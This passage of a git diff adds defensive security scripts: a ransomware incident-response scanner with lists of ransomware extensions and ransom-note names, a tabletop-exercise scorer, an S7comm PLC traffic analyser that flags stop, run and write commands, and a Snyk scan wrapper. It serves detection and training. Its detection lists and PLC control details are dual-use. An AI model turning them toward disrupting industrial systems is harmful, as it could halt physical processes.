Path + + +RANSOMWARE_EXTENSIONS = { + ".encrypted", ".locked", ".crypt", ".cry", ".crypto", ".enc", + ".locky", ".cerber", ".zepto", ".wncry", ".wnry", ".wcry", + ".onion", ".aaa", ".abc", ".xyz", ".zzz", ".micro", ".r5a", +} + +RANSOM_NOTE_PATTERNS = [ + "readme.txt", "how_to_decrypt.txt", "decrypt_instructions.html", + "restore_files.txt", "help_decrypt.html", "recovery.txt", + "_readme.txt", "how_to_recover.txt", +] + + +def scan_encrypted_files(target_dir: str, max_files: int = 5000) -> list[dict]: + """Scan directory for files with ransomware-associated extensions.""" + findings = [] + count = 0 + for root, dirs, files in os.walk(target_dir): + for fname in files: + if count >= max_files: + return findings + fpath = os.path.join(root, fname) + ext = os.path.splitext(fname)[1].lower() + if ext in RANSOMWARE_EXTENSIONS: + try: + stat = os.stat(fpath) + findings.append({ + "path": fpath, + "extension": ext, + "size_bytes": stat.st_size, + "modified": datetime.fromtimestamp(stat.st_mtime).isoformat(), + }) + except OSError: + pass + count += 1 + return findings + + +def find_ransom_notes(target_dir: str) -> list[dict]: + """Search for known ransom note filenames.""" + notes = [] + for root, dirs, files in os.walk(target_dir): + for fname in files: + if fname.lower() in RANSOM_NOTE_PATTERNS: + fpath = os.path.join(root, fname) + try: + with open(fpath, "r", encoding="utf-8", errors="ignore") as fh: + content = fh.read(2048) + notes.append({"path": fpath, "preview": content[:500]}) + except OSError: + notes.append({"path": fpath, "preview": "[unreadable]"}) + return notes + + +def collect_file_hashes(file_paths: list[str], max_hash: int = 100) -> list[dict]: + """Compute SHA-256 hashes for IOC submission.""" + hashes = [] + for fpath in file_paths[:max_hash]: + try: + sha = hashlib.sha256() + with open(fpath, "rb") as fh: + for chunk in iter(lambda: fh.read(8192), b""): + sha.update(chunk) + hashes.append({"path": fpath, "sha256": sha.hexdigest()}) + except OSError: + pass + return hashes + + +def check_shadow_copies(platform: str = sys.platform) -> dict: + """Check if Volume Shadow Copies are intact (Windows) or snapshots exist.""" + if platform == "win32": + try: + result = subprocess.run( + ["vssadmin", "list", "shadows"], + capture_output=True, text=True, timeout=30 + ) + shadow_count = result.stdout.count("Shadow Copy ID") + return {"platform": "windows", "shadow_copies": shadow_count, + "intact": shadow_count > 0, "raw": result.stdout[:1000]} + except (subprocess.SubprocessError, FileNotFoundError): + return {"platform": "windows", "shadow_copies": 0, "intact": False, "error": "vssadmin unavailable"} + return {"platform": platform, "shadow_copies": -1, "intact": False, "note": "Manual check required"} + + +def generate_containment_actions(encrypted_count: int, notes_found: int) -> list[dict]: + """Produce recommended containment actions based on findings.""" + actions = [ + {"priority": 1, "action": "Isolate affected hosts from network immediately", + "detail": "Disable network adapters or move to quarantine VLAN"}, + {"priority": 2, "action": "Preserve forensic evidence before remediation", + "detail": "Create disk images of affected systems"}, + {"priority": 3, "action": "Reset credentials for all privileged accounts", + "detail": "Include krbtgt, service accounts, and domain admins"}, + ] + if encrypted_count > 100: + actions.append({"priority": 4, "action": "Activate business continuity plan", + "detail": f"{encrypted_count} encrypted files detected — significant data impact"}) + if notes_found > 0: + actions.append({"priority": 5, "action": "Collect and analyze ransom notes for variant identification", + "detail": "Submit to ID Ransomware (id-ransomware.malwarehunterteam.com)"}) + return actions + + +def generate_report(target_dir: str, max_files: int) -> dict: + """Run all checks and build consolidated incident report.""" + encrypted = scan_encrypted_files(target_dir, max_files) + notes = find_ransom_notes(target_dir) + file_hashes = collect_file_hashes([f["path"] for f in encrypted[:50]]) + shadow_status = check_shadow_copies() + actions = generate_containment_actions(len(encrypted), len(notes)) + + return { + "report": "ransomware_incident_response", + "generated_at": datetime.utcnow().isoformat() + "Z", + "target_directory": target_dir, + "encrypted_files_found": len(encrypted), + "ransom_notes_found": len(notes), + "shadow_copy_status": shadow_status, + "containment_actions": actions, + "encrypted_files_sample": encrypted[:20], + "ransom_notes": notes[:10], + "file_hashes": file_hashes, + } + + +def main(): + parser = argparse.ArgumentParser(description="Ransomware Incident Response Agent") + parser.add_argument("--target", required=True, help="Directory to scan for ransomware artifacts") + parser.add_argument("--max-files", type=int, default=5000, help="Max files to scan (default: 5000)") + parser.add_argument("--output", help="Output JSON file path") + args = parser.parse_args() + + report = generate_report(args.target, args.max_files) + output = json.dumps(report, indent=2) + if args.output: + Path(args.output).write_text(output, encoding="utf-8") + print(f"Report written to {args.output}") + else: + print(output) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-ransomware-response/LICENSE b/skills/performing-ransomware-response/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-ransomware-response/LICENSE +++ b/skills/performing-ransomware-response/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-ransomware-tabletop-exercise/LICENSE b/skills/performing-ransomware-tabletop-exercise/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-ransomware-tabletop-exercise/LICENSE +++ b/skills/performing-ransomware-tabletop-exercise/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-ransomware-tabletop-exercise/references/api-reference.md b/skills/performing-ransomware-tabletop-exercise/references/api-reference.md new file mode 100644 index 00000000..6ed1536f --- /dev/null +++ b/skills/performing-ransomware-tabletop-exercise/references/api-reference.md @@ -0,0 +1,84 @@ +# Ransomware Tabletop Exercise - API Reference + +## Scenario Framework + +### Phase Structure +Each phase contains: + +| Field | Type | Description | +|-------|------|-------------| +| `phase` | string | Phase name: detection, containment, escalation, eradication, recovery | +| `inject` | string | Narrative scenario inject read to participants | +| `expected_actions` | list | Correct response actions for scoring | +| `time_pressure_minutes` | int | Simulated time window for decisions | + +### Exercise Variants + +- **standard** - Normal time pressure, full scenario +- **accelerated** - Half time windows, tests rapid decision-making + +## Scoring Algorithm + +``` +phase_score = (correct_actions / expected_actions) * 100 +overall_score = mean(all_phase_scores) +``` + +Rating thresholds: +- >= 90%: Excellent +- >= 70%: Good +- >= 50%: Needs Improvement +- < 50%: Critical Gaps + +## Expected Actions by Phase + +### Detection +- `isolate_host` - Quarantine affected endpoint +- `preserve_evidence` - Capture memory dump and disk image +- `notify_ir_lead` - Escalate to incident response lead + +### Containment +- `network_segmentation` - Restrict lateral movement paths +- `disable_compromised_accounts` - Lock affected credentials +- `block_c2_domains` - Update firewall/proxy deny lists +- `preserve_shadow_copies` - Protect backup snapshots + +### Escalation +- `notify_executive_team` - Brief C-suite leadership +- `engage_legal_counsel` - Activate legal response team +- `contact_law_enforcement` - Report to FBI IC3 or local CIRT +- `activate_crisis_comms` - Prepare stakeholder communications + +### Eradication +- `remove_persistence` - Clean scheduled tasks, registry keys, WMI subscriptions +- `reset_all_credentials` - Reset passwords domain-wide +- `rebuild_compromised_hosts` - Reimage from gold images +- `reset_krbtgt_twice` - Invalidate all Kerberos tickets + +### Recovery +- `restore_from_backup` - Use verified clean backup sets +- `validate_restored_systems` - Run integrity checks +- `monitor_for_reinfection` - Enhanced monitoring for 72+ hours +- `staged_network_reconnection` - Reconnect systems in phases + +## After-Action Report Schema + +```json +{ + "report": "ransomware_tabletop_aar", + "evaluation": { + "overall_score_pct": 78.5, + "rating": "good", + "phase_scores": [{"phase": "detection", "score_pct": 66.7}] + }, + "recommendations": [{"phase": "detection", "gap": "Missed: preserve_evidence"}] +} +``` + +## CLI Usage + +```bash +python agent.py --mode demo --output aar.json +python agent.py --mode generate --variant accelerated --output scenario.json +python agent.py --mode score --responses-file responses.json --output aar.json +``` diff --git a/skills/performing-ransomware-tabletop-exercise/scripts/agent.py b/skills/performing-ransomware-tabletop-exercise/scripts/agent.py new file mode 100644 index 00000000..20d1277a --- /dev/null +++ b/skills/performing-ransomware-tabletop-exercise/scripts/agent.py @@ -0,0 +1,152 @@ +#!/usr/bin/env python3 +"""Ransomware Tabletop Exercise agent — generates scenario injects, tracks +participant decisions, scores response effectiveness, and produces an +after-action report.""" + +import argparse +import json +import random +import sys +from datetime import datetime +from pathlib import Path + + +SCENARIO_PHASES = [ + { + "phase": "detection", + "inject": "SOC analyst observes unusual SMB traffic and multiple failed login attempts from a single workstation. AV alerts show Cobalt Strike beacon signatures.", + "expected_actions": ["isolate_host", "preserve_evidence", "notify_ir_lead"], + "time_pressure_minutes": 15, + }, + { + "phase": "containment", + "inject": "Ransomware has spread to 3 file servers. Active encryption observed on \\fs01\shared. Lateral movement detected via PsExec.", + "expected_actions": ["network_segmentation", "disable_compromised_accounts", "block_c2_domains", "preserve_shadow_copies"], + "time_pressure_minutes": 30, + }, + { + "phase": "escalation", + "inject": "Threat actor sends ransom demand via email: 50 BTC within 48 hours. They claim to have exfiltrated 200GB of customer PII data.", + "expected_actions": ["notify_executive_team", "engage_legal_counsel", "contact_law_enforcement", "activate_crisis_comms"], + "time_pressure_minutes": 60, + }, + { + "phase": "eradication", + "inject": "IR team identifies initial access via phishing email with macro-enabled document. Persistence mechanisms found in scheduled tasks and registry run keys.", + "expected_actions": ["remove_persistence", "reset_all_credentials", "rebuild_compromised_hosts", "reset_krbtgt_twice"], + "time_pressure_minutes": 120, + }, + { + "phase": "recovery", + "inject": "Backups verified clean. Recovery point is 6 hours old. Business requests fastest path to resume operations.", + "expected_actions": ["restore_from_backup", "validate_restored_systems", "monitor_for_reinfection", "staged_network_reconnection"], + "time_pressure_minutes": 240, + }, +] + + +def generate_scenario(variant: str = "standard") -> list[dict]: + """Return the scenario phases, optionally shuffled for advanced exercises.""" + phases = [dict(p) for p in SCENARIO_PHASES] + if variant == "accelerated": + for p in phases: + p["time_pressure_minutes"] = max(5, p["time_pressure_minutes"] // 2) + return phases + + +def score_response(phase: dict, participant_actions: list[str]) -> dict: + """Score participant actions against expected actions for a phase.""" + expected = set(phase["expected_actions"]) + taken = set(participant_actions) + correct = expected & taken + missed = expected - taken + extra = taken - expected + score = len(correct) / len(expected) * 100 if expected else 0 + return { + "phase": phase["phase"], + "score_pct": round(score, 1), + "correct_actions": sorted(correct), + "missed_actions": sorted(missed), + "additional_actions": sorted(extra), + } + + +def evaluate_exercise(scenario: list[dict], all_responses: list[list[str]]) -> dict: + """Score all phases and compute overall effectiveness.""" + phase_scores = [] + for phase, actions in zip(scenario, all_responses): + phase_scores.append(score_response(phase, actions)) + overall = sum(s["score_pct"] for s in phase_scores) / len(phase_scores) if phase_scores else 0 + return { + "phase_scores": phase_scores, + "overall_score_pct": round(overall, 1), + "rating": "excellent" if overall >= 90 else "good" if overall >= 70 else "needs_improvement" if overall >= 50 else "critical_gaps", + } + + +def generate_aar(scenario: list[dict], evaluation: dict) -> dict: + """Generate After-Action Report.""" + recommendations = [] + for ps in evaluation["phase_scores"]: + if ps["missed_actions"]: + recommendations.append({ + "phase": ps["phase"], + "gap": f"Missed actions: {', '.join(ps['missed_actions'])}", + "recommendation": f"Add {ps['phase']} procedures to IR playbook and train responders", + }) + return { + "report": "ransomware_tabletop_aar", + "generated_at": datetime.utcnow().isoformat() + "Z", + "scenario_phases": len(scenario), + "evaluation": evaluation, + "recommendations": recommendations, + "next_exercise_date": "Schedule within 90 days to validate improvements", + } + + +def run_demo() -> dict: + """Run a demonstration exercise with simulated participant responses.""" + scenario = generate_scenario("standard") + simulated_responses = [ + ["isolate_host", "notify_ir_lead"], + ["network_segmentation", "disable_compromised_accounts", "block_c2_domains"], + ["notify_executive_team", "engage_legal_counsel", "contact_law_enforcement", "activate_crisis_comms"], + ["remove_persistence", "reset_all_credentials", "rebuild_compromised_hosts"], + ["restore_from_backup", "validate_restored_systems", "monitor_for_reinfection", "staged_network_reconnection"], + ] + evaluation = evaluate_exercise(scenario, simulated_responses) + return generate_aar(scenario, evaluation) + + +def main(): + parser = argparse.ArgumentParser(description="Ransomware Tabletop Exercise Agent") + parser.add_argument("--mode", choices=["generate", "score", "demo"], default="demo", + help="Mode: generate scenario, score responses, or run demo") + parser.add_argument("--variant", choices=["standard", "accelerated"], default="standard") + parser.add_argument("--responses-file", help="JSON file with participant responses for scoring") + parser.add_argument("--output", help="Output JSON file path") + args = parser.parse_args() + + if args.mode == "generate": + result = {"scenario": generate_scenario(args.variant)} + elif args.mode == "score": + if not args.responses_file: + print("Error: --responses-file required for score mode", file=sys.stderr) + sys.exit(1) + responses = json.loads(Path(args.responses_file).read_text()) + scenario = generate_scenario(args.variant) + evaluation = evaluate_exercise(scenario, responses) + result = generate_aar(scenario, evaluation) + else: + result = run_demo() + + output = json.dumps(result, indent=2) + if args.output: + Path(args.output).write_text(output, encoding="utf-8") + print(f"Report written to {args.output}") + else: + print(output) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-red-team-phishing-with-gophish/LICENSE b/skills/performing-red-team-phishing-with-gophish/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-red-team-phishing-with-gophish/LICENSE +++ b/skills/performing-red-team-phishing-with-gophish/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-s7comm-protocol-security-analysis/LICENSE b/skills/performing-s7comm-protocol-security-analysis/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-s7comm-protocol-security-analysis/LICENSE +++ b/skills/performing-s7comm-protocol-security-analysis/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-s7comm-protocol-security-analysis/references/api-reference.md b/skills/performing-s7comm-protocol-security-analysis/references/api-reference.md new file mode 100644 index 00000000..512eeb0a --- /dev/null +++ b/skills/performing-s7comm-protocol-security-analysis/references/api-reference.md @@ -0,0 +1,80 @@ +# S7comm Protocol Security Analysis - API Reference + +## pyshark Library + +Python wrapper for TShark (Wireshark CLI) for packet analysis. + +### Loading S7comm Traffic +```python +import pyshark +cap = pyshark.FileCapture("traffic.pcap", display_filter="s7comm") +for pkt in cap: + s7_layer = pkt.s7comm + print(s7_layer.rosctr, s7_layer.param_func) +cap.close() +``` + +### Key S7comm Layer Fields + +| Field | Description | +|-------|-------------| +| `s7comm.rosctr` | PDU type: 1=Job, 2=Ack, 3=Ack-Data, 7=Userdata | +| `s7comm.param_func` | Function code (hex) | +| `s7comm.error_class` | Error class (0 = no error) | +| `s7comm.error_code` | Specific error code | +| `s7comm.param_data` | Parameter data payload | + +## S7comm Function Codes + +| Code | Name | Risk Level | +|------|------|------------| +| 0x04 | Read Var | Low - read process data | +| 0x05 | Write Var | High - modify PLC memory | +| 0x28 | Setup Communication | Low - session init | +| 0x29 | PLC Run | Critical - start PLC execution | +| 0x1a | PLC Stop | Critical - halt PLC execution | +| 0xf0 | Userdata | Medium - diagnostics/programming | + +## S7comm Protocol Overview + +S7comm runs over ISO-on-TCP (RFC 1006) on port 102. The protocol stack: +1. TCP connection on port 102 +2. TPKT header (RFC 1006) +3. COTP connection-oriented transport (ISO 8073) +4. S7comm PDU + +### Security Concerns +- No built-in authentication in S7comm (pre-S7comm-Plus) +- No encryption of traffic +- Write operations can modify PLC logic and process values +- Stop/Run commands can halt industrial processes + +## Detection Patterns + +### Unauthorized Access +Multiple unique source IPs connecting to a single PLC (> 3 sources) indicates potential unauthorized access. + +### Brute Force +Repeated error responses (error_class != 0) from a PLC to a single source exceeding threshold count. + +### Dangerous Operations +Any write_var, run, or stop function codes should be flagged and correlated with authorized change windows. + +## Output Schema + +```json +{ + "report": "s7comm_protocol_security_analysis", + "total_s7_packets": 1500, + "total_findings": 8, + "severity_summary": {"critical": 2, "high": 5, "medium": 1}, + "traffic_patterns": {"function_distribution": {"read_var": 1200, "write_var": 50}}, + "findings": [{"type": "dangerous_operation_stop", "severity": "critical"}] +} +``` + +## CLI Usage + +```bash +python agent.py --pcap capture.pcap --brute-threshold 10 --output report.json +``` diff --git a/skills/performing-s7comm-protocol-security-analysis/scripts/agent.py b/skills/performing-s7comm-protocol-security-analysis/scripts/agent.py new file mode 100644 index 00000000..718917d7 --- /dev/null +++ b/skills/performing-s7comm-protocol-security-analysis/scripts/agent.py @@ -0,0 +1,178 @@ +#!/usr/bin/env python3 +"""S7comm Protocol Security Analysis agent — analyzes Siemens S7 protocol +traffic from PCAP files using pyshark to detect unauthorized PLC access, +password brute-force, and dangerous write operations.""" + +import argparse +import json +import sys +from collections import Counter, defaultdict +from datetime import datetime +from pathlib import Path + +try: + import pyshark +except ImportError: + print("Install pyshark: pip install pyshark", file=sys.stderr) + sys.exit(1) + + +S7_PORT = 102 +S7_FUNCTION_CODES = { + "0x04": "read_var", + "0x05": "write_var", + "0x00": "cpu_services", + "0x28": "setup_communication", + "0x29": "run", + "0x1a": "stop", + "0xf0": "userdata", +} + +DANGEROUS_FUNCTIONS = {"write_var", "run", "stop"} + + +def load_pcap(pcap_path: str, display_filter: str = "s7comm") -> list: + """Load S7comm packets from PCAP file.""" + cap = pyshark.FileCapture(pcap_path, display_filter=display_filter) + packets = [] + for pkt in cap: + try: + s7_layer = pkt.s7comm + packets.append({ + "timestamp": str(pkt.sniff_time), + "src_ip": str(pkt.ip.src), + "dst_ip": str(pkt.ip.dst), + "src_port": str(pkt.tcp.srcport), + "dst_port": str(pkt.tcp.dstport), + "rosctr": getattr(s7_layer, "rosctr", "unknown"), + "function": getattr(s7_layer, "param_func", "unknown"), + "error_class": getattr(s7_layer, "error_class", "0"), + "error_code": getattr(s7_layer, "error_code", "0"), + }) + except AttributeError: + continue + cap.close() + return packets + + +def detect_unauthorized_access(packets: list) -> list[dict]: + """Detect potential unauthorized access to PLCs.""" + findings = [] + plc_connections = defaultdict(set) + for pkt in packets: + plc_connections[pkt["dst_ip"]].add(pkt["src_ip"]) + + for plc_ip, sources in plc_connections.items(): + if len(sources) > 3: + findings.append({ + "type": "multiple_sources_to_plc", + "severity": "high", + "plc_ip": plc_ip, + "source_count": len(sources), + "sources": sorted(sources), + "detail": f"PLC {plc_ip} accessed by {len(sources)} unique sources", + }) + return findings + + +def detect_dangerous_operations(packets: list) -> list[dict]: + """Flag write, run, and stop operations on PLCs.""" + findings = [] + for pkt in packets: + func_code = pkt.get("function", "unknown") + func_name = S7_FUNCTION_CODES.get(func_code, func_code) + if func_name in DANGEROUS_FUNCTIONS: + findings.append({ + "type": f"dangerous_operation_{func_name}", + "severity": "critical" if func_name in ("stop", "run") else "high", + "src_ip": pkt["src_ip"], + "dst_ip": pkt["dst_ip"], + "timestamp": pkt["timestamp"], + "function": func_name, + "detail": f"{func_name} operation from {pkt['src_ip']} to PLC {pkt['dst_ip']}", + }) + return findings + + +def detect_brute_force(packets: list, threshold: int = 10) -> list[dict]: + """Detect authentication brute-force via repeated setup_communication with errors.""" + findings = [] + error_counts = Counter() + for pkt in packets: + if pkt.get("error_class", "0") != "0" or pkt.get("error_code", "0") != "0": + key = (pkt["src_ip"], pkt["dst_ip"]) + error_counts[key] += 1 + + for (src, dst), count in error_counts.items(): + if count >= threshold: + findings.append({ + "type": "potential_brute_force", + "severity": "critical", + "src_ip": src, + "dst_ip": dst, + "error_count": count, + "detail": f"{count} error responses from PLC {dst} to {src} — possible brute-force", + }) + return findings + + +def analyze_traffic_patterns(packets: list) -> dict: + """Compute traffic statistics.""" + func_counts = Counter() + src_counts = Counter() + dst_counts = Counter() + for pkt in packets: + func_code = pkt.get("function", "unknown") + func_name = S7_FUNCTION_CODES.get(func_code, func_code) + func_counts[func_name] += 1 + src_counts[pkt["src_ip"]] += 1 + dst_counts[pkt["dst_ip"]] += 1 + + return { + "total_packets": len(packets), + "function_distribution": dict(func_counts.most_common(20)), + "top_sources": dict(src_counts.most_common(10)), + "top_destinations": dict(dst_counts.most_common(10)), + } + + +def generate_report(pcap_path: str, brute_threshold: int) -> dict: + """Run all analyses and produce consolidated JSON report.""" + packets = load_pcap(pcap_path) + findings = [] + findings.extend(detect_unauthorized_access(packets)) + findings.extend(detect_dangerous_operations(packets)) + findings.extend(detect_brute_force(packets, brute_threshold)) + traffic = analyze_traffic_patterns(packets) + + severity_counts = Counter(f["severity"] for f in findings) + return { + "report": "s7comm_protocol_security_analysis", + "generated_at": datetime.utcnow().isoformat() + "Z", + "pcap_file": pcap_path, + "total_s7_packets": len(packets), + "total_findings": len(findings), + "severity_summary": dict(severity_counts), + "traffic_patterns": traffic, + "findings": findings, + } + + +def main(): + parser = argparse.ArgumentParser(description="S7comm Protocol Security Analysis Agent") + parser.add_argument("--pcap", required=True, help="Path to PCAP file with S7comm traffic") + parser.add_argument("--brute-threshold", type=int, default=10, help="Error count threshold for brute-force (default: 10)") + parser.add_argument("--output", help="Output JSON file path") + args = parser.parse_args() + + report = generate_report(args.pcap, args.brute_threshold) + output = json.dumps(report, indent=2) + if args.output: + Path(args.output).write_text(output, encoding="utf-8") + print(f"Report written to {args.output}") + else: + print(output) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-sca-dependency-scanning-with-snyk/LICENSE b/skills/performing-sca-dependency-scanning-with-snyk/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-sca-dependency-scanning-with-snyk/LICENSE +++ b/skills/performing-sca-dependency-scanning-with-snyk/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-sca-dependency-scanning-with-snyk/references/api-reference.md b/skills/performing-sca-dependency-scanning-with-snyk/references/api-reference.md new file mode 100644 index 00000000..8b54818d --- /dev/null +++ b/skills/performing-sca-dependency-scanning-with-snyk/references/api-reference.md @@ -0,0 +1,80 @@ +# SCA Dependency Scanning with Snyk - API Reference + +## Snyk CLI Commands + +### snyk test +Scans project dependencies for known vulnerabilities. + +```bash +snyk test --json --severity-threshold=high +snyk test --json --all-projects # Monorepo support +snyk test --json --file=package-lock.json +``` + +Exit codes: +- 0: No vulnerabilities found +- 1: Vulnerabilities found +- 2: Failure (missing manifest, auth error) + +### snyk monitor +Creates a project snapshot for continuous monitoring on snyk.io. + +```bash +snyk monitor --json --project-name="my-app" +``` + +### snyk auth +Authenticate with Snyk API token. + +```bash +snyk auth +export SNYK_TOKEN= +``` + +## JSON Output Structure + +### Test Result Fields + +| Field | Type | Description | +|-------|------|-------------| +| `vulnerabilities` | array | List of vulnerability objects | +| `ok` | boolean | True if no vulns found | +| `dependencyCount` | int | Total dependencies scanned | +| `packageManager` | string | npm, pip, maven, etc. | +| `uniqueCount` | int | Unique vulnerability count | + +### Vulnerability Object + +| Field | Type | Description | +|-------|------|-------------| +| `id` | string | Snyk vulnerability ID (e.g., `SNYK-JS-LODASH-590103`) | +| `title` | string | Human-readable title | +| `severity` | string | critical, high, medium, low | +| `cvssScore` | float | CVSS v3.1 score (0-10) | +| `packageName` | string | Affected package name | +| `version` | string | Installed version | +| `fixedIn` | array | Versions with fix available | +| `exploit` | string | Exploit maturity: Mature, Proof of Concept, Not Defined | +| `isUpgradable` | boolean | Can be fixed by upgrading direct dependency | +| `isPatchable` | boolean | Snyk patch available | +| `from` | array | Dependency path from root | + +## SARIF Integration + +Snyk results can be converted to SARIF 2.1.0 for GitHub Code Scanning. The SARIF schema is at: +`https://raw.githubusercontent.com/oasis-tcs/sarif-spec/main/sarif-2.1/schema/sarif-schema-2.1.0.json` + +## Severity Mapping + +| Snyk Severity | CVSS Range | SARIF Level | +|---------------|-----------|-------------| +| critical | 9.0 - 10.0 | error | +| high | 7.0 - 8.9 | error | +| medium | 4.0 - 6.9 | warning | +| low | 0.1 - 3.9 | warning | + +## CLI Usage + +```bash +python agent.py --project /app --severity high --max-critical 0 --max-high 5 --output report.json +``` diff --git a/skills/performing-sca-dependency-scanning-with-snyk/scripts/agent.py b/skills/performing-sca-dependency-scanning-with-snyk/scripts/agent.py new file mode 100644 index 00000000..d8d4fc17 --- /dev/null +++ b/skills/performing-sca-dependency-scanning-with-snyk/scripts/agent.py @@ -0,0 +1,161 @@ +#!/usr/bin/env python3 +"""SCA Dependency Scanning with Snyk agent — runs Snyk CLI to test +project dependencies for known vulnerabilities, generates SARIF output, +and enforces quality gates.""" + +import argparse +import json +import subprocess +import sys +from datetime import datetime +from pathlib import Path + + +def run_snyk_test(project_path: str, severity_threshold: str = "low", + extra_args: list = None) -> dict: + """Run snyk test and return parsed JSON results.""" + cmd = ["snyk", "test", "--json", f"--severity-threshold={severity_threshold}"] + if extra_args: + cmd.extend(extra_args) + try: + result = subprocess.run(cmd, capture_output=True, text=True, + cwd=project_path, timeout=300) + if result.stdout: + return json.loads(result.stdout) + return {"error": result.stderr, "exit_code": result.returncode} + except subprocess.TimeoutExpired: + return {"error": "Snyk test timed out after 300s"} + except FileNotFoundError: + return {"error": "snyk CLI not found. Install: npm install -g snyk"} + except json.JSONDecodeError: + return {"error": "Failed to parse Snyk output", "raw": result.stdout[:2000]} + + +def run_snyk_monitor(project_path: str) -> dict: + """Run snyk monitor to create a snapshot for continuous monitoring.""" + cmd = ["snyk", "monitor", "--json"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, + cwd=project_path, timeout=300) + if result.stdout: + return json.loads(result.stdout) + return {"error": result.stderr} + except (subprocess.TimeoutExpired, FileNotFoundError, json.JSONDecodeError) as e: + return {"error": str(e)} + + +def parse_vulnerabilities(snyk_result: dict) -> list[dict]: + """Extract and normalize vulnerability findings.""" + vulns = snyk_result.get("vulnerabilities", []) + findings = [] + for v in vulns: + findings.append({ + "id": v.get("id", ""), + "title": v.get("title", ""), + "severity": v.get("severity", "unknown"), + "cvss_score": v.get("cvssScore", 0), + "package": v.get("packageName", ""), + "version": v.get("version", ""), + "fixed_in": v.get("fixedIn", []), + "exploit_maturity": v.get("exploit", "Not Defined"), + "is_upgradable": v.get("isUpgradable", False), + "is_patchable": v.get("isPatchable", False), + "from_path": v.get("from", []), + }) + return findings + + +def apply_quality_gate(findings: list[dict], max_critical: int = 0, + max_high: int = 5) -> dict: + """Apply quality gate based on severity counts.""" + counts = {"critical": 0, "high": 0, "medium": 0, "low": 0} + for f in findings: + sev = f.get("severity", "low").lower() + counts[sev] = counts.get(sev, 0) + 1 + + passed = counts["critical"] <= max_critical and counts["high"] <= max_high + return { + "passed": passed, + "severity_counts": counts, + "gate_criteria": {"max_critical": max_critical, "max_high": max_high}, + "reason": "PASS" if passed else f"FAIL: {counts['critical']} critical (max {max_critical}), {counts['high']} high (max {max_high})", + } + + +def generate_sarif(findings: list[dict], project_path: str) -> dict: + """Convert findings to SARIF 2.1.0 format for GitHub integration.""" + rules = [] + results = [] + seen_ids = set() + for f in findings: + rule_id = f["id"] + if rule_id not in seen_ids: + rules.append({ + "id": rule_id, + "shortDescription": {"text": f["title"]}, + "defaultConfiguration": { + "level": "error" if f["severity"] in ("critical", "high") else "warning" + }, + }) + seen_ids.add(rule_id) + results.append({ + "ruleId": rule_id, + "message": {"text": f"{f['title']} in {f['package']}@{f['version']}"}, + "level": "error" if f["severity"] in ("critical", "high") else "warning", + }) + + return { + "$schema": "https://raw.githubusercontent.com/oasis-tcs/sarif-spec/main/sarif-2.1/schema/sarif-schema-2.1.0.json", + "version": "2.1.0", + "runs": [{ + "tool": {"driver": {"name": "Snyk", "rules": rules}}, + "results": results, + }], + } + + +def generate_report(project_path: str, severity_threshold: str, + max_critical: int, max_high: int) -> dict: + """Run full scan and build consolidated report.""" + snyk_result = run_snyk_test(project_path, severity_threshold) + if "error" in snyk_result and "vulnerabilities" not in snyk_result: + return {"report": "sca_dependency_scan", "error": snyk_result["error"]} + + findings = parse_vulnerabilities(snyk_result) + gate = apply_quality_gate(findings, max_critical, max_high) + sarif = generate_sarif(findings, project_path) + + return { + "report": "sca_dependency_scan", + "generated_at": datetime.utcnow().isoformat() + "Z", + "project_path": project_path, + "total_vulnerabilities": len(findings), + "quality_gate": gate, + "unique_packages_affected": len(set(f["package"] for f in findings)), + "upgradable_count": sum(1 for f in findings if f["is_upgradable"]), + "patchable_count": sum(1 for f in findings if f["is_patchable"]), + "findings": findings, + "sarif": sarif, + } + + +def main(): + parser = argparse.ArgumentParser(description="SCA Dependency Scanning with Snyk Agent") + parser.add_argument("--project", required=True, help="Project directory to scan") + parser.add_argument("--severity", default="low", choices=["low", "medium", "high", "critical"]) + parser.add_argument("--max-critical", type=int, default=0, help="Max critical vulns for quality gate") + parser.add_argument("--max-high", type=int, default=5, help="Max high vulns for quality gate") + parser.add_argument("--output", help="Output JSON file path") + args = parser.parse_args() + + report = generate_report(args.project, args.severity, args.max_critical, args.max_high) + output = json.dumps(report, indent=2) + if args.output: + Path(args.output).write_text(output, encoding="utf-8") + print(f"Report written to {args.output}") + else: + print(output) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-scada-hmi-security-assessment/LICENSE b/skills/performing-scada-hmi-security-assessment/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-scada-hmi-security-assessment/LICENSE +++ b/skills/performing-scada-hmi-security-assessment/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-scada-hmi-security-assessment/references/api-reference.md b/skills/performing-scada-hmi-security-assessment/references/api-reference.md new file mode 100644 index 00000000..28314cb4 --- 